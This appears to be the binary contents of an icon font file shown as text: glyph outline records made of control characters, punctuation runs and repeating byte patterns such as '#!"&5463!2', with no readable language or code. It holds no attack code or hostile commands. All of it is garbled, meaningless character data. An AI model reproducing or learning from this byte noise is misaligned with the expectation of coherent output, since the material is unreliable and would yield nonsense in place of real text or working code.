0&4&&)17&4&&&           #!"&5463!2!2\@\\@\\@\\\\         W  *  #!"&547>3!2!"4&5463!2!2W+B"5P+B@"5^=\@\ \H#t3G#3G:_Ht\\     @      +32"'&46;#"&4762&& 4 && 4 4& &4  4& &4       @     "&=!"'&4762!5462  4& &4  4& &4 4 && 4 &&              !!!3!!                    0 @  67&#".'&'#"'#"'32>54'6#!"&5463!2 8ADAE=\W{O[/5dIkDtpČe1?*w@www	(M&B{Wta28r=Ku?RZ^GwT	-@www       $  2+37#546375&#"#3!"&5463ww/Dz?swww@wS88	ww           # ' . >   4&#"26546326"&462!5! &  !5!!=!!%#!"&5463!2B^8(Ԗ  > @|K5 5KK5 5K^B(8ԖԖ>v 5KK5 5KK   H  G   4&"&#"2654'32#".'#"'#"&54$327.54632@pp)*Pppp)*Pb	'"+`N*(a;2̓c`." b
PTY9ppP*)pppP*) b ".`(*Nͣ2ͣ`+"'	b
MRZB               4&"24&"264&"26#"/+"&/&'#"'&547>7&/.=46?67&'&547>3267676;27632#"&'"'#"'&547&'&=4767&547>32626?2#"&'"'#"'&547&'&=4767&547>32626?2ԖLhLKjKLhLKjK	"8w
s%(")v

>
	"8x
s"+")v
<
3zLLz33>8L3)x33zLLz33>8L3)x3ԖԖ 4LL45KK54LL45KK
#)0C	wZl/

Y	
N,&
#)0C	vZl.

YL0"qG^^Gqq$ ]G)FqqG^^Gqq$ ]G)Fq         % O   #"'#"&'&4>7>7.546$ '&'&'# '32$7>54'VZ|$2$
|E~E<|
$2$|ZV:(t}X(	&%(Hw쉉xH(%&	(XZT\MKG        < m  $4&"24&#!4654&#+32;254'>4'654&'>7+"&'&#!"&5463!6767>763232 &4&&4N2`@`%)7&,$)'  %/0Ӄy#5 +1	&<$]`{t5KK5$e:1&+'3TF0h4&&4&3M:;b^v+D2 5#$IIJ 2E=\$YJ!$MCeM-+(K55KK5y*%Au]c         > q   4&"24&'>54'654&'654&+"+322654&5!267+#"'.'&'&'!"&5463!27>;2 &4&&4+ 5#bW0/%  ')$,&7)%`@``2Nh0##T3'"(0;e$5KK5 tip<&	1&4&&4& #\=E2&%IURI$#5 2D+v^b;:M2gc]vDEA%!bSV2MK55K(,,MeCM$!I     @   #"&547&547%6@?V8b%	I)         9  4.""'."	67"'.54632>32+C`\hxeH>Hexh\`C+ED4
#L</>oP$$Po>Q|I.3MCCM3.I|Q/Z$_dC+I@$$@I+           ( @  %#!"&5463!2#!"3!: "&5!"&5463!462ww@B^^B 
4&@&&&4 ` ww ^B@B^24& && &        % 5  73#7.";2634&#"35#347>32#!"&5463!2FtIG9;HIxI<,tԩw@wwwz4DD43EEueB&#1s@www      .  4&"26#!+"'!"&5463"&463!2#2&S3Ll&c4LL44LL4c@&&{ LhLLhL           ' ?  #!"&5463!2#!"3!26546;2"/"/&47'&463!2www@B^^B@B^@&4t

r

& &`ww@w@^BB^^B@R &t

r

4&&         @   "&5!"&5463!462	#!"&54&>3!2654&#!*.54&>3!24&@&&&4 sw@B^^B
@w4& && &3@w ^BB^       I  &5!%5!>732#!"&=4632654&'&'.=463!5463!2!2J  JSq*5&=CKuuKC=&5*q͍S8( ^B@B^ (8`N`Ѣ΀GtO6)"M36J[E@@E[J63M")6OtG(8`B^^B`8   	        ' , 2    6'&'&76'6'&6&'&6'&4#"7&64   654'.'&'.63226767.547&7662>76#!"&5463!2		/[		.
=XĚ4,+"*+, 1JH'5G::#L5+@=&# w@wwwP.1GE,ԧ44+	;/5cFO:>JJ>:O9W5$@(b4@www      ' ?  $4&"2$4&"2#!"&5463!3!267!2#!#!"&5!"'&762 &4&&4&&4&&48(@(88(c= =c(8* & & *6&4&&4&&4&&4& (88(@(88HH88`(@&&('@       1 c  4&'.54654'&#"#"&#"32632327>7#"&#"#"&54654&54>76763232632


	N<;+gC8A`1a99gw|98aIe$IVNz<:LQJ
,-[%	061I()W,$-7,oIX()oζA;=N0
eTZ	 (       O  #".'&'& '&'.54767>3232>32e^\4?P	bMO0#382W#& 9C9
Lĉ"	82<*9FF(W283#0OMb	P?4\^eFF9*<28	"L
9C9 &#           !"3!2654&#!"&5463!2`B^^B@B^^ީwww@w ^BB^^B@B^ww@w      #  !72#"'	#"'.546763 YY!''!0#GG$/!''! &UUjZ	8""8 X!	8"	"8	        G W  4.'.#"#".'.'.54>54.'.#" 32676#!"&5463!2  1.-
+$)c8)1)

05.D<90)$9 w@wwwW

)1)7c)$+
-.1 9$)0<D.59@www  ,  T  1  # '327.'327.=.547&54632676TC_LҬ#+i!+*pDNBN,y[`m`%i]hbEm}au&,SXK
&$f9s?
    _    #"!#!#!54632V<%' ЭHH	(ں       T \ d k s z       &54654'>54'6'&&"."&'./"?'& 546'&6'&6'&6'&6'&74"727&6/a49[aA)O%-j'&]]5r-%O)@a[9'
0BA;+

>HCU


	#	
	
$				2	AC: oM=a-6OUwW[q	( -	q[WwUP6$C

+) (	
8&/&eMa	
&$	        %  +"&54&"32#!"&5463!54   &@&Ԗ`(88(@(88(r && jj8((88(@(8        # ' +  2#!"&5463"!54&#265!375!35!B^^BB^^B` ^B@B^^BB^ `       ! =   "&462+"&'& '.=476;+"&'& $'.=476;pppp$!$qr%}#ߺppp!E$rqܢ#%ֻ!           ) ?   "&462"&4624&#!"3!26!.#!"#!"&547>3!2/B//B//B//B@2^B@B^\77\aB//B//B//B/@~B^^B@2^5BB52     . 4  2## %&'.67#"&=463! 2 5KK5L4_u:B&1/&.-
zB^^B4LvyKjK4L[!^k'!A3;):2*<vTq6^BB^L4$)*    @     A  4#"&54"3! 4."#!"&5!"&5>547&5462;U gIv0ZZ0L4@Ԗ@4L2RX='8P8'=XR U;Ig0,3lb??bl34LjjL4*\(88(\    } I  /#"/'&/'&?'&'&?'&76?'&7676767676`
(5)0
)*)
0)5(

(5)0
))))
0)5(
*)
0)5(
)5)0
)**)
0)5)

)5)0
)*      5 h  $4&"24&#!4>54&#"+323254'>4'654&'!267+#"'&#!"&5463!2>767>32!2 &4&&4N2$YGB(HGEG  HQ#5K4Li!<;5KK5 
A#("/?&}vh4&&4&3M95S+C=,@QQ9@@IJ 2E=L5i>9eME;K55K	J7R>@#zD<      5 = q  %3#".'&'&'&'.#"!"3!32>$4&"2#!"#"&?&547&'#"&5463!&546323!2`  #A<(H(GY$2NL4K5#aWTƾh&4&&4K5;=!ihv}&?/"(#A
 5K2*!	Q@.'!&=C+S59M34L=E2 JI UR@@&4&&4&5K;ELf9>ig<Dz#@>R7J	K          5 h  4&"24#"."&#"4&#"".#"!54>7#!"&54.'&'.5463246326326 &4&&4IJ 2E=L43M95S+C=,@QQ9@@E;K55K	J7R>@#zD<gi>9eMZ4&&4&<#5K4LN2$YGB(HGEG  HV;5KK5 
A#("/?&}vhi!<         4 < p  4.=!32>332653272673264&"2/#"'#"&5#"&54>767>5463!2@@2*!	Q@.'!&=C+S59M34L.9E2 JI UR&4&&4&Lf6Aig6Jy#@>R7J	K55K;E@TƾH  #A<(H(GY$2NL4K#5#a=4&&4&D=ihv}&?/"(#A
 5KK5;         +  54&#!764/&"2?64/!26  $$  &
[6[[j6[& ^aa@&4[[6[[6&+^aa        +   4/&"!"3!277$ $$ [6[
&&[6j[^aae6[j[6&&4[j[^aa      +   4''&"2?;2652?$ $$ [6[[6&&4[^aaf6j[[6[
&&[^aa      +   4/&"4&+"'&"2?  $$ [6&&4[j[6[j^aad6[&&
[6[[j ^aa             $2>767676&67>?&'4&'.'.'."#&6'&6&'3.'.&'&'&&'&6'&>567>#7>7636''&'&&'.'"6&'6'..'/"&'&76.'7>767&.'"76.7"7"#76'&'.'2#22676767765'4.6326&'.'&'"'>7>&&'.54>'>7>67&'&#674&7767>&/45'.67>76'27".#6'>776'>7647>?6#76'6&'676'&67.'&'6.'.#&'.&6'&.5/a^D&"	


	4	$!	#	
		
	


 
.0"Y
	+!	
	
$		"+


		
	Α	
		^aa
	

					

		
			P '-(	#	*	$
"!				*
!	
(				
	
$
		
2   ~   /  $4&"2	#"/&547#"  32>32&4&&4V%54'j&&'/덹:,{	&4&&4&V%%l$65&b'Cr!"k[G             + ;  %!5!!5!!5!#!"&5463!2#!"&5463!2#!"&5463!2    &&&&&&&&&&&&@ && && && && && &&   {    #"'&5&763!2{' * *)* )'             /  !5!#!"&5!3!26=#!5!463!5463!2!2  ^B@B^&@&`   ^B`8(@(8`B^   B^^B&&B^(88(^      G  	76#!"'&?	#!"&5476	#"'&5463!2	'&763!2#"'c)'&@**@&('c(&*cc*&'*@&('c'(&*cc*&('c'(&@*        1 9 A S [  #"&532327#!"&54>322>32 "&462  &6 +&'654'32>32"&462QgRp|Kx;CByy 6Fe=
BPPB
=eF6  ԖV>!pRgQBC;xK|Ԗ{QNa*+%xx5eud_C(+5++5+(C_due2ԖԖ>NQ{u%+*jԖԖ     p ! C i  4/&#"#".'32?64/&#"327.546326 #"/&547'#"/&4?632632(* 8(!)(A(')* 8(!USxySSXXVzxTTUSxySSXXVzxT@( (8 *(('((8 SSUSx{VXXTTSSUSx{VXXT        #!" 5467&54 32632t,Ԟ;F`j)6,>jK?  s  !  %#!"&7#"&463!2+!'5#8EjjE8@&& &&@XYY&4&&4&qDS%q%         N \ j x     2"&4#"'#"'&7>76326?'&'#"'.'&676326326&'&#"32>'&#"3254?''74&&4&lNnbSVZbRSD	zz	DSRb)+USbn\.2Q\dJ'.2Q\dJ.Q2.'Jd\Q2.'Jd`!O` 	`&4&&4r$#@B10M5TNT{L5T	II	T5L;l'OT4M01B@#$*3;$*3;;3*$;3*$:$/ @@Qq`@         " % 3 <  2#!"&5!"&5467>3!263!	!!#!!46!#!(88(@(8(8(`((8D<++<8(` (8(`8(@(88( 8((`(8((<`(8 (``(8    || ?  %#"'&54632#"'&#"32654'&#"#"'&54632|udqܟs]
=
OfjL?R@T?"&
>
f?rRX=Edudsq
=
_MjiL?T@R?E& f
>
=XRr?b      ! 1 E  )!34&'.##!"&5#3463!24&+";26#!"&5463!2  

08((88(@(88((88((`(1

`(88( (88( @`(88(@(8(`         #!"&5463!2 w@www`@www             /  %#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&&&&&    @    ' 7 G  $"&462"&462#!"&=463!2 "&462#!"&=463!2#!"&=463!2ppppppp@ppp@@Рppppppppp         < L \ l |  #"'732654'>75"##5!!&54>54&#"'>3235#!"&=463!2!5346=#'73#!"&=463!2#!"&=463!2}mQjB919+i1$AjM_3</BB/.#U_:IdDRE@k*Gj@@TP\BX-@8
C)5XsJ@$3T4+,:;39SG2S.7<vcc))%Ll}         5 e  2#!"&=463%&'&5476!2/&'&#"!#"/&'&=4'&?5732767654'&@02uBo
T25XzrDCBBEh:%)0%HPIP{rQ9f#-+>;I@KM-/Q"@@@#-bZ$&P{<8[;:XICC>. '5oe80#.0(l0&%,"J&9%$<=DTI     c s  &/6323276727#"327676767654./&'&'737#"'&'&'&54'&54&#!"3!260%<4"VRt8<@<-#=XYhW8+0$"+dTLx-'I&JKkmuw<=V@!X@		v'|N;!/!$8:IObV;C#V
&(mL.A:9 !./KLwPM$@@  
       / ? O _ o     %54&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!26#!"&5463!2 @@ @ @ @ @ @ @@^BB^^B@B^NB^^B@B^^         # + 3  	'$"/&4762%/?/?/?/?%k*66bbbb|<<<bbbbbbbb%k66Ƒbbb<<<<^bbbbbb    @      M  $4&"2!#" 4&"2&#"&5!"&5#".54634&>?>;5463!2LhLLh		 LhLLhL!'ԖԖ@'!&	?& &LhLLhL 		hLLhL 	jjjj	&@6/"&&       J   #"'676732>54.#"7>76'&54632#"&7>54&#"&54$  ok;	-j=yhwi[+PM3ѩk=J%62>VcaaQ^ ]G"'9r~:`}Ch  0=Z٤W=#uY2BrUI1^Fk[|a      L  2#!67673254.#"67676'&54632#"&7>54&#"#"&5463ww+U	,i<F{jh}Z+OM
2ϧj<J%51=Ubwww@wzX"'8'TyI9`{Bf 
,>XբW<"uW1AqSH1bdww        ' 7  4'!3#"&46327&#"326%35#5##33#!"&5463!20U6cc\=hlࠥYmmnnnnw@wwww&46#Ȏ;edwnnnnn@www    	 ] # /  #"$&6$3 &#"32>7!5!%##5#5353Еttu{zz{SZC`cot*tq||.EXN#??           , <  !5##673#$".4>2"&5!#2!46#!"&5463!2 rM* *M~~M**M~~M*jjj& && &`P%挐|NN||NN|* jj jj@&&&&    @     "'&463!2 @4@&Z4@4&        @    #!"&4762 &&4Z4&&4@     @    "'&4762&4@4&@&4&      @    "&5462@@4&&44@&&@           3!!%!!26#!"&5463!2`m`^BB^^B@B^ `@B^^BB^^    @     "'&463!2#!"&4762 @4@&&&&44@4&Z4&&4@            "'&463!2 @4@&4@4&        @    #!"&4762 &&4Z4&&4@          :  #!"&5;2>76%6 +".'&$'.5463!2 ^B@B^,9j9Gv33vG9H9+bI\
A+=66=+A
[">nSMA_:B^^B1&c*/11/*{'VO3@/$$/@*?Nh^    l   +  !+"&5462!4&#"!/!#>32]_gTRdgdQV?UI*Gg?!2IbbIJaaiwE3300 08        4   #"$'&6?6332>4.#"#!"&54766$32 z䜬m
IwhQQhbF*@&('kz
	
_hQнQGB'(&*eoz  ( q  !#"'&547"'#"'&54>7632&4762.547>32#".'632%k'45%&+ ~((h		&

\((		&

~ +54'k%5%l%%l$65+ ~

&		((\

&		h((~ +%'         ! ) 1 9 K   4&"2 4&"26.676&$4&"2 4&"24&"2#!"'&46$ KjKKjKjKKje2.e<^P,bKjKKjKjKKjKjKKj##LlLKjKKjKjKKjK~-M<M(PM<rjKKjKjKKjKujKKjKL           <    6?32$6&#"'#"&'5&6&>7>7&54$ LhяW.{+9E=cQdFK1A
0)pJ2`[Q?l&٫C58.H(Y'        : d    6?32$64&$ #"'#"&'&4>7>7.546'&'&'# '32$7>54'Yj`a#",5NK
~EVZ|$2$
|:
$2$|ZV:(t}hfR88T
h̲X(	&%(Hw(%&	(XZT\MKG{x   | !  #"'.7#"'&7>3!2%632u
jH{(e9
1b      U  #!"&546;5!32#!"&546;5!32#!"&546;5463!5#"&5463!2+!232 8((88(` `(88((88(` `(88((88(`L4 `(88(@(88(` 4L`(8 (88(@(88((88(@(88((88(@(84L8(@(88((8L48      O Y  "&546226562#"'.#"#"'.'."#"'.'.#"#"&5476 $32&"5462И&4&NdN!>!1X:Dx++ww++xD:X1- U! *,*&4&hh&&2NN2D&
..J<
$$
<JJ<
$$
<J..
Pbb&&          7  !!"&5!54&#!"3!26!	#!"&=!"&5463!2 `(8 @ + 8(@(8(88(@(8(8( @@m+U`(88(8(@(88(h`         ( \  "&54&#"&46324."367>767#"&'"&547&547&547.'&54>2l42cKEooED
)

)
Dg-;</-?.P^P.?-/<;-gYY.2 L4H|O--O|HeO,,Oeq1Ls26%%4.2,44,2.4%%62sL1qcqAAq      4  #!#"'&547632!2#"&=!"&=463!54632 		@	`		`?`
@		@	!		
          5  4&+4&+"#"276#!" 5467&54 32632 	`		_
v,Ԝ;G_j)``			_ԟ7,>jL>       5  4'&";;265326#!" 5467&54 32632 			
v,Ԝ;G_j)	`		`7,>jL>        X `  $"&462#!"&54>72654&'547 7"2654'54622654'54&'46.'  &6 &4&&4&yy%:hD:FppG9Fj 8P8 LhL 8P8 E;
Dh:%>4&&4&}yyD~s[4Dd=PppP=d>hh>@jY*(88(*Y4LL4Y*(88(*YDw"
A4*[s~>       M   4&"27 $=.54632>32#"' 65#"&4632632 65.5462 &4&&4G9&
<#5KK5!!5KK5#<
&ܤ9Gpp&4&&4&@>buោؐ &$KjKnjjKjK$& jjb>Ppp        %  !5!#"&5463!!35463!2+32  @\\ 8(@(8 \@@\ \@\  (88(\   @    3  4#"&54"3#!"&5!"&5>547&5462;U gI@L4@Ԗ@4L2RX='8P8'=XR U;Ig04LjjL4*\(88(\    @    "   4&+32!#!"& +#!"&5463!2pP@@P j j@@\@\&0pj	 \\&       - B  +"&5.5462265462265462+"&5#"&5463!2G9L44L9G&4&&4&&4&&4&&4& L44L &=d4LL4d=&&`&&&&`&&&&4LL4  &         # 3 C S  #!"&5463!2!&'&!"&5!463!2#!"&52#!"&=4632#!"&=463(8((88((`x
c`(8  @@@`((88(@(8(D9 8( `@@@ @@        / ? O _ o         -=  %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!!5463!2#!"&5463!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @ & && &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  `&&&&        / ? O _ o        %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!#!"&=!!5463!24&+"#54&+";26=3;26%#!"&5463!463!2!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@  8(@(8 @@@@@ & &&@8((8@&@@@@@@@@@@@@@@@@@@@@ (88( @````- && & (88(&  @    < c  $4&"2!# 4&"254&+54&+"#";;26=326+"&5!"&5#"&46346?>;463!2KjKKj KjKKj &ԖԖ&&@&&KjKKjK 
jKKjK .&jjjj&4&@@&&      # ' 1 ? I  54&+54&+"#";;26=326!5!#"&5463!!35463!2+32    \\8(@(8 \  \ \@\  (88(\          :  #32+53##'53535'575#5#5733#5;2+3@E&&`@@`    `@@`&&E%@`@ @ @		      		@ 0
    @      !3!57#"&5'7!7! K5@   @ 5K@@@      # 3  %4&+"!4&+";265!;26#!"&5463!2 && &&&& && w@www&&@&&&&@&&@www        # 3  54&#!4&+"!"3!;265!26#!"&5463!2 &&&&&@&&@& w@www@&@&&&&&&@&:@www    - M3  )  $"'&4762	"'&4762	s
2

.



2

w
2

.



2

w
2





2

ww

2





2

ww     M3  )   "/&47	&4?62"/&47	&4?62S
.

2

w

2


.

2

w

2

M
.

2



2

.

.

2



2

.   M 3S  )  $"'	"/&4762"'	"/&47623
2

ww

2





2

ww

2




2

w

2



.v
2

w

2



.    M 3s  )   "'&4?62	62"'&4?62	623
.

.

2



2

.

.

2



2
.



2

w

2v
.



2

w

2   - Ms3    	"'&4762s
w

2

.



2
ww

2





2     MS3    "/&47	&4?62S
.

2

w

2

M
.

2



2

.    M3S    "'	"/&47623
2

ww

2



m
2

w

2



.    M-3s    "'&4?62	623
.

.

2



2-
.



2

w

2        /  4&#!"3!26#!#!"&54>5!"&5463!2 @^B  & &  B^^B@B^ @MB^%Q=&&<P&^B@B^^            + 3  "&5463!2#3!2654&#!"3#!"&=324+"3B^^B@B^^B@`^BB^p ^BB^^B@B^`@S`(88(``             '  $4&"2%4&#!"3!26#!"&5463!2&4&&4@^BB^^B@B^f4&&4&@B^^B@B^^            /  $4&"2%4&#!"3!264+";%#!"&5463!2/B//B   0L4 4LL4 4L_B//B/@M    4LL4 4LL            >& $$ (r^aa(^aa        ! C  #!"&54>;2+";2#!"&54>;2+";2 pPPpQh@&&@j8(PppPPpQh@&&@j8(Pp@PppPhQ&&j (8pPPppPhQ&&j (8p         ! C  +"&=46;26=4&+"&5463!2+"&=46;26=4&+"&5463!2 Qh@&&@j8(PppPPpQh@&&@j8(PppPPp@hQ&&j (8pPPppP@hQ&&j (8pPPpp     @@  	   # + 3 ; G  $#"&5462 "&462 "&462#"&462 "&462 "&462 "&462#"&54632K54LKj=KjKKjKjKKjL45KKjK<^^^KjKKjppp\]]\jKL45KjKKjKujKKjK4LKjKK^^^jKKjKpppr]]\            $$  ^aaQ^aa      ,  #"&5465654.+"'&47623  #>bqb&4  4&ɢ5"		#D7euU6 & 4 & m       1 X   ".4>2".4>24&#""'&#";2>#".'&547&5472632>3=T==T==T==T=v)GG+v@bRRb@=&\Nj!>3lkik3hPTDDTPTDDTPTDDTPTDD|xxXK--K|Mp<#	)>dA{RXtfOT# RNftWQ          ,  %4&#!"&=4&#!"3!26#!"&5463!2!2 8(@(88((88((8\@\\@\\(88(@(88(@(88@\\\\       u  ' E  4#!"3!2676%!54&#!"&=4&#!">#!"&5463!2!2325([5@(\& 8((88((8 ,9.+C\\@\ \6Z]#+#,k(88(@(88(;5E>:5E\\\ \1.           $ 4 @  "&'&676267> "&462"&462 .  > $$ n%%/02
KjKKjKKjKKjKfff^aayy/PccP/jKKjKKjKKjKffff@^aa        $ 4 @  &'."'.7>2 "&462"&462 .  > $$ n20/%7KjKKjKKjKKjKfff^aa3/PccP/y	jKKjKKjKKjKffff@^aa         + 7   #!"&463!2 "&462"&462 .  > $$ &&&&KjKKjKKjKKjKfff^aa4&&4&jKKjKKjKKjKffff@^aa       # + 3 C  54&+54&+"#";;26=3264&"2 4&"2$ #"'##"  3!2@@KjKKjKKjKKjKܒ,gjKKjKKjKKjKXԀ,,          # / ; G S _ k w       +"=4;27+"=4;2'+"=4;2#!"=43!2%+"=4;2'+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;54;2!#!"&5463!2```` ````````````` `` `` p` K55KK55Kp````````````````````````` 5KK55KK     @   * V  #"'.#"63232+"&5.5462#"/.#"#"'&547>32327676R?d^7ac77,9xm#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	h[ 17q%q#::#5KKu't#!X:	%#+=&>7p   @    * 2 F r  56565'5&'.	#"32325#"'+"&5.5462#"/.#"#"'&547>32327676@ͳ82.,#,fk*1x-!#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	e`vo8t-	:5	[*#::#5KKu't#!X:	%#+=&>7p    3  $  	"/&47	&4?62#!"&=463!2I.

2

w

2


-@).

2



2

.
-@@     -S  $ 9  %"'&4762		/.7>	"/&47	&4?62i2

.



2

w
E>u>.

2

w

2


2





2

ww
!h.

2



2

.
       ;  #"'&476#"'&7'.'#"'&476'  )'s"+5+@ա'  )'F* 4 *Er4M:}}8GO* 4 *     ~ 
 (  -/'	#"'%#"&7&67%632B;><V??V --C4
<B=cB5!%%!b 7I))9I7        	#"'.5!".67632y(
#
  ##@,(
)        8  !	!++"&=!"&5#"&=46;546;2!76232-SSS

		 SS``		

          K  $4&"24&"24&"27"&5467.546267>5.5462 8P88P88P88P8P88P4,CS,4pp4,,4pp4,6d7AL*',4ppP88P8P88P8HP88P8`4Y&+(>EY4PppP4Y4Y4PppP4Y%*<O4Y4Ppp        % @ \ h t   	"'&4762"&5462&#!"&463!2#"'&'7?654'7&#"&'&54?632#!"&463!2"&5462"'&4762 		 

	@USxySR#PT('#TUSxySN@ 		 

		 		

 		
3@xSSUO#'(V^'(PVvxSSUi @ 		

 		
   `     <  +"&=46;2+"&=467>54&#"#"/.7!2<'G,')7N;2]=A+#H0PRH6^;<T%-S#:/*@Z}

>h         .  %#!"&=46;#"&=463!232#!"&=463!2& &&@@&&&@&& && &&&&&&&&f&&&&   b      #!"&=463!2#!"&'&63!2 & && &' '%@% &&&& && &&    k % J  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%Sin1KXL7觧*		#&		*@jC?.>!&1'\%Awc8^;:+<!P        % I  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%PlnEcdJ觧*		#&		*-@jC?.>!&1'\%AwcBiC:D'P           %!	#!"&'&6763!2P &: &?&: &?5"K ,)""K ,)      h  #".#""#"&54>54&#"#"'./"'"5327654.54632326732>32YO)I-D%n "h.=T#)#lQTv%.%P_	%	%_P%.%vUPl#)#T=@/#,-91P+R[Ql#)#|''
59%D-I)OY[R+P19-,# #,-91P+R[YO)I-D%95%_P%.%v      ' 3   !2#!"&463!5& =462   =462 &546  &&&& &4&r&4& @&4&&4&G݀&&&&f    s   C K  &=462	#"'32 =462 !2#!"&463!5&'"/&4762%4632e*&4&i76`al&4& &&&& }n

R



R
zfOego&&5`3&&&4&&4&D

R



R
z v        "  !676"'.5463!2@@w^Cct~55~tcC&&@?J V|RIIR|V &&           # G  !!%4&+";26%4&+";26%#!"&546;546;2!546;232@@ @@L44LL4^B@B^^B@B^4L   N 4LL4 4L`B^^B``B^^B`L      L   4&"2%#"'%.5!#!"&54675#"#"'.7>7&5462!467%632 &4&&4@ o& &}c ;pG=(8Ai8^^.&4&&4&`	`fs&& jo/;J!#2
 KAE*,B^^B!`	   $   -   4&"2#"/&7#"/&767%676$!28P88PQr	@U	@
{`PTP88P8P`
	@U	@rQ           !6'&+!!!!2Ѥ8̙e;<*@8 !GGGQII            %764'	64/&"2  $$ f3f4:4^aaf4334f:4:^aa         %64'&"	2  $$ :4f3f4F^aa4f44f^aa         764'&"27	2  $$ f:4:f4334^aaf4:4f3^aa            %64/&"	&"2  $$ -f44f4^aa4f3f4:w^aa   @    7!!/#35%!'!%j/djg2|855dc b    @   !	!%!!7!FG)DH:&HdS)         U   4&"2#"/ $'#"'&5463!2#"&=46;5.546232+>7'&763!2&4&&4f]wq4qw]	`dC&&:FԖF:&&Cd`4&&4&	]]	`d[}&&"uFjjFu"&&y}[d       #  2#!"&546;4   +"&54&" (88(@(88( r&@&Ԗ 8((88(@(8@&&jj           ' 3   "&462 &         .  > $$  Ԗ>aX,fff^aaԖԖa>TX,,~ffff@^aa          /  +"&=46;2+"&=46;2+"&=46;28((88((8 8((88((8 8((88((8 (88((88((88((88((88((88           /  +"&=46;2+"&=46;2+"&=46;28((88((88((88((88((88((8 (88((88(88((88(88((88        5 E  $4&"2%& '&;26%&.$'&;276#!"&5463!2 KjKKjf	
\
w@wwwjKKjK"Gܚf


	@www             $64'&327/a^  !  ^aaJ@%%	  65   /  	64'&"2	"/64&"'&476227 <ij6j6u%k%~8p8}%%%k%}8p8~%<<ij4j4t%%~8p8~%k%%%}8p8}%k          54&#!"3!26#!"&5463!2 &&&& w@www@&&&&:@www        /  #!"&=463!24&#!"3!26#!"&5463!2@^BB^^B@B^www@w@@2@B^^BB^^ww@w        +#!"'&?63!#"'&762(@	@(@>@%%%         !232"'&76;!"/&76 ($>(		 J &%       $  %64/&"'&"2#!"&5463!2ff4-4ff4fw@wwwf4f-f4@www         /  #5#5'&76	764/&"%#!"&5463!248`# \P\w@www4`8#@  `\P\`@www        )  4&#!"273276#!"&5463!2 & *f4' w@www`&')4f*@www     % 5  	64'&"3276'7>332#!"&5463!2`'(wa8!
,j.(&w@www`4`*'?_`ze<	bw4/*@www           - .  6  $$     (r^aaO (_^aa       -  "'&763!24&#!"3!26#!"&5463!2yB((@ w@www]#@## @@www       -  #!"'&7624&#!"3!26#!"&5463!2y((@B@u@ w@www###@@@www       -   '&54764&#!"3!26#!"&5463!2@@####@ w@wwwB((@@www      `  %#" '#"&=46;&7#"&=46;6 32/.#"!2#!!2#!32>?6#!"'?_BCbCaf\	+~2	

	}0$q90r pr%Dpu       ?  #!"&=46;#"&=46;54632'.#"!2#!!546;2Da__	g	
*`-Uh1߫}
	$^L    4   b  +"&=.'&?676032654.'.5467546;2'.#"ǟB{PDg	q%%Q{%P46'-N/B).ĝ9kC<Q7>W*_x*%K./58`7E%_	,-3
cVO2")#,)9;J)"!*
#VD,'#/&>AX      >  ++"' '&=46;267!"&=463!&+"&=463!2+32Ԫ$
		pU9ӑ@/*fo	VRfqf=S     E  !#"&5!"&=463!5!"&=46;&76;2>76;232#!!2#![ 

%
)
	"JgUhBW&WXhUg        8   4&#!!2 #!!2#!+"&=#"&=46;5#"&=46;463!2j@jog|@~vvu            n  #467!!3'##467!++"'#+"&'#"&=46;'#"&=46;&76;2!6;2!6;232+32QKt# #FNQo!"դѧ!mY

Zga~bm]

[o"U+, @h
h@@Xhh@   8  3 H \  #5"'#"&+73273&#&+5275363534."#22>4.#2>ut3NtRP*Ho2
Lo@!R(Ozh=,G<X2O:&D1A.1G$<2I+A;"B,;&$LGlF/ 3D;a$8$".!3!
.          3!#!"&5463! 8( 8((88(  h (8(88(@(8         ( 8 H  !!#!"&5463!54&#!"3!2654&#!"3!2654&#!"3!26(D 8((88( 8@@@$(88(@(8(8 @@@@@@   " }  
 $ B R  3/&5##"'&76;46;232!56?5"#+#5!76;5!53'#3!533H

Dq		x7	K//KFh/"		@`Z		sYwjjjjj     " }  
 $ 4 R  %3/&5##"'&76;46;232!53'#3!533!56?5"#+#5!76;5H

K//KFq		x7	h/"		@`jjjjjZ		sY
w  "     ) 9 I Y  %#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2

 @@  `		@`     "     ) 9 I Y  #!"&=463!2%#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2   

@@ r		@`r    "   
 $ C V  %4&#"326#"'&76;46;232%#"'&'73267##"&54632!5346=#'73BX;4>ID2F

8PuE>.'%&TeQ,jm{+>R{?jJrL6V		@`7>wmR1quWei/rr:Vr     "   
 $ 7 V  4&#"326#"'&76;46;232!5346=#'73#"'&'73267##"&54632BX;4>ID2F

+>R{8PuE>.'%&TeQ,jm{?jJrL6		@`rr:Vr3>wmR1quWei    @   \  %4&#"326#!"&5463!2+".'&'.5467>767>7>7632!2 &%%&&&& &7.'	:@$LBWM{#&$h1D!		.I/!	Nr&&%%&&&&V?, L=8=9%pEL+%%r@W!<%*',<2(<&L,"r       @    \  #"&546324&#!"3!26%#!#"'.'.'&'.'.546767>; &%%&&&& &i7qN	!/I.		!D1h$&#{MWBL$@:	'.&&%%&&&&=XNr%(M&<(2<,'*%<!W@r%%+LEp%9=8=L       	   + = \ d       %54#"327354"%###5#5#"'&53327#"'#3632#"'&=4762#3274645"=424'.'&!  7>76#'#3%54'&#"32763##"'&5#327#!"&5463!2BBPJNC'%!	B?)#!CC $)54f"@@
B+,A

A+&+A
